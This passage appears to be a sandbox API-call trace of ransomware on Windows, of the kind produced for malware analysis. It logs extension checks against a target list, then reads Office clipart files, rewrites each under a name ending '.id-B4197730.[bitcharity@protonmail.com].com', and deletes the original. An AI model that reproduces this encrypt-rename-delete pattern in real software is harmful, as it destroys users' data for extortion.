(lpString=".bz2") returned 4 [0288.518] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.518] lstrlenW (lpString=".7z") returned 3 [0288.518] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0288.518] lstrlenW (lpString=".dbf") returned 4 [0288.518] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0288.518] lstrlenW (lpString=".1cd") returned 4 [0288.518] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0288.675] lstrlenW (lpString=".jpg") returned 4 [0288.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0288.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0288.675] lstrlenW (lpString=".doc") returned 4 [0288.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.675] lstrlenW (lpString=".docx") returned 5 [0288.675] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.675] lstrlenW (lpString=".pdf") returned 4 [0288.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.675] lstrlenW (lpString=".xls") returned 4 [0288.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.675] lstrlenW (lpString=".xlsx") returned 5 [0288.675] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.675] lstrlenW (lpString=".ppt") returned 4 [0288.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0288.676] lstrlenW (lpString=".zip") returned 4 [0288.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.676] lstrlenW (lpString=".rar") returned 4 [0288.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.676] lstrlenW (lpString=".bz2") returned 4 [0288.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.676] lstrlenW (lpString=".7z") returned 3 [0288.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0288.676] lstrlenW (lpString=".dbf") returned 4 [0288.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0288.676] lstrlenW (lpString=".1cd") returned 4 [0288.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0288.676] lstrlenW (lpString=".jpg") returned 4 [0288.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.676] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0288.676] lstrlenW (lpString="BS00439_.WMF") returned 12 [0288.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0288.995] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=2052) returned 1 [0288.995] CloseHandle (hObject=0x10d0) returned 1 [0288.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 0x220 [0288.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0288.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0288.995] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.995] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0288.996] GetLastError () returned 0x0 [0288.996] ReadFile (in: hFile=0x10d0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x804, lpOverlapped=0x0) returned 1 [0289.006] WriteFile (in: hFile=0x1094, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x810, lpOverlapped=0x0) returned 1 [0289.007] ReadFile (in: hFile=0x10d0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0289.007] WriteFile (in: hFile=0x1094, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0289.007] SetEndOfFile (hFile=0x1094) returned 1 [0289.008] CloseHandle (hObject=0x1094) returned 1 [0289.008] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.008] SetEndOfFile (hFile=0x10d0) returned 1 [0289.009] CloseHandle (hObject=0x10d0) returned 1 [0289.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0289.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 1 [0289.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0289.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0289.009] lstrlenW (lpString=".doc") returned 4 [0289.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.010] lstrlenW (lpString=".docx") returned 5 [0289.010] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.010] lstrlenW (lpString=".pdf") returned 4 [0289.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.010] lstrlenW (lpString=".xls") returned 4 [0289.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.010] lstrlenW (lpString=".xlsx") returned 5 [0289.010] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.010] lstrlenW (lpString=".ppt") returned 4 [0289.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0289.010] lstrlenW (lpString=".zip") returned 4 [0289.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.010] lstrlenW (lpString=".rar") returned 4 [0289.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.010] lstrlenW (lpString=".bz2") returned 4 [0289.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.010] lstrlenW (lpString=".7z") returned 3 [0289.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0289.010] lstrlenW (lpString=".dbf") returned 4 [0289.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0289.010] lstrlenW (lpString=".1cd") returned 4 [0289.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0289.010] lstrlenW (lpString=".jpg") returned 4 [0289.010] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0289.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0289.011] lstrlenW (lpString=".doc") returned 4 [0289.011] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.011] lstrlenW (lpString=".docx") returned 5 [0289.011] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.011] lstrlenW (lpString=".pdf") returned 4 [0289.011] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.011] lstrlenW (lpString=".xls") returned 4 [0289.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.011] lstrlenW (lpString=".xlsx") returned 5 [0289.011] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.011] lstrlenW (lpString=".ppt") returned 4 [0289.011] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0289.011] lstrlenW (lpString=".zip") returned 4 [0289.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.011] lstrlenW (lpString=".rar") returned 4 [0289.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.011] lstrlenW (lpString=".bz2") returned 4 [0289.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.011] lstrlenW (lpString=".7z") returned 3 [0289.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0289.011] lstrlenW (lpString=".dbf") returned 4 [0289.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0289.011] lstrlenW (lpString=".1cd") returned 4 [0289.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0289.011] lstrlenW (lpString=".jpg") returned 4 [0289.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.012] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0289.012] lstrlenW (lpString="BS00443_.WMF") returned 12 [0289.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0289.012] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=1676) returned 1 [0289.012] CloseHandle (hObject=0x10d0) returned 1 [0289.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x220 [0289.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0289.012] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.012] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0289.013] GetLastError () returned 0x0 [0289.013] ReadFile (in: hFile=0x10d0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x68c, lpOverlapped=0x0) returned 1 [0289.023] WriteFile (in: hFile=0x1094, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x690, lpOverlapped=0x0) returned 1 [0289.024] ReadFile (in: hFile=0x10d0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0289.024] WriteFile (in: hFile=0x1094, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0289.024] SetEndOfFile (hFile=0x1094) returned 1 [0289.024] CloseHandle (hObject=0x1094) returned 1 [0289.024] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.024] SetEndOfFile (hFile=0x10d0) returned 1 [0289.025] CloseHandle (hObject=0x10d0) returned 1 [0289.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0289.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 1 [0289.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0289.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0289.026] lstrlenW (lpString=".doc") returned 4 [0289.026] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.026] lstrlenW (lpString=".docx") returned 5 [0289.026] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.026] lstrlenW (lpString=".pdf") returned 4 [0289.026] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.026] lstrlenW (lpString=".xls") returned 4 [0289.026] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.026] lstrlenW (lpString=".xlsx") returned 5 [0289.026] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.026] lstrlenW (lpString=".ppt") returned 4 [0289.026] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0289.026] lstrlenW (lpString=".zip") returned 4 [0289.026] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.026] lstrlenW (lpString=".rar") returned 4 [0289.026] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.026] lstrlenW (lpString=".bz2") returned 4 [0289.026] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.026] lstrlenW (lpString=".7z") returned 3 [0289.026] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0289.027] lstrlenW (lpString=".dbf") returned 4 [0289.027] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0289.027] lstrlenW (lpString=".1cd") returned 4 [0289.027] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0289.027] lstrlenW (lpString=".jpg") returned 4 [0289.027] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0289.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0289.027] lstrlenW (lpString=".doc") returned 4 [0289.027] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.027] lstrlenW (lpString=".docx") returned 5 [0289.027] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.027] lstrlenW (lpString=".pdf") returned 4 [0289.027] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.027] lstrlenW (lpString=".xls") returned 4 [0289.027] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.027] lstrlenW (lpString=".xlsx") returned 5 [0289.027] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.027] lstrlenW (lpString=".ppt") returned 4 [0289.027] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0289.027] lstrlenW (lpString=".zip") returned 4 [0289.027] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.027] lstrlenW (lpString=".rar") returned 4 [0289.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.027] lstrlenW (lpString=".bz2") returned 4 [0289.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.028] lstrlenW (lpString=".7z") returned 3 [0289.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0289.028] lstrlenW (lpString=".dbf") returned 4 [0289.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0289.028] lstrlenW (lpString=".1cd") returned 4 [0289.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0289.028] lstrlenW (lpString=".jpg") returned 4 [0289.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.028] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0289.028] lstrlenW (lpString="BS00445_.WMF") returned 12 [0289.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0289.028] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=3796) returned 1 [0289.028] CloseHandle (hObject=0x10d0) returned 1 [0289.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x220 [0289.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0289.029] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.029] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0289.029] GetLastError () returned 0x0 [0289.029] ReadFile (in: hFile=0x10d0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0xed4, lpOverlapped=0x0) returned 1 [0289.041] WriteFile (in: hFile=0x1094, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xee0, lpOverlapped=0x0) returned 1 [0289.042] ReadFile (in: hFile=0x10d0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0289.042] WriteFile (in: hFile=0x1094, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0289.042] SetEndOfFile (hFile=0x1094) returned 1 [0289.042] CloseHandle (hObject=0x1094) returned 1 [0289.042] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0289.042] SetEndOfFile (hFile=0x10d0) returned 1 [0289.043] CloseHandle (hObject=0x10d0) returned 1 [0289.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0289.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 1 [0289.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0289.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0289.044] lstrlenW (lpString=".doc") returned 4 [0289.044] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.044] lstrlenW (lpString=".docx") returned 5 [0289.044] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.044] lstrlenW (lpString=".pdf") returned 4 [0289.044] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.044] lstrlenW (lpString=".xls") returned 4 [0289.044] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.044] lstrlenW (lpString=".xlsx") returned 5 [0289.044] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.044] lstrlenW (lpString=".ppt") returned 4 [0289.044] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0289.044] lstrlenW (lpString=".zip") returned 4 [0289.044] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.044] lstrlenW (lpString=".rar") returned 4 [0289.044] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.044] lstrlenW (lpString=".bz2") returned 4 [0289.044] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.045] lstrlenW (lpString=".7z") returned 3 [0289.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.045] lstrlenW (lpString="C:\\Program Files\\Microsoft 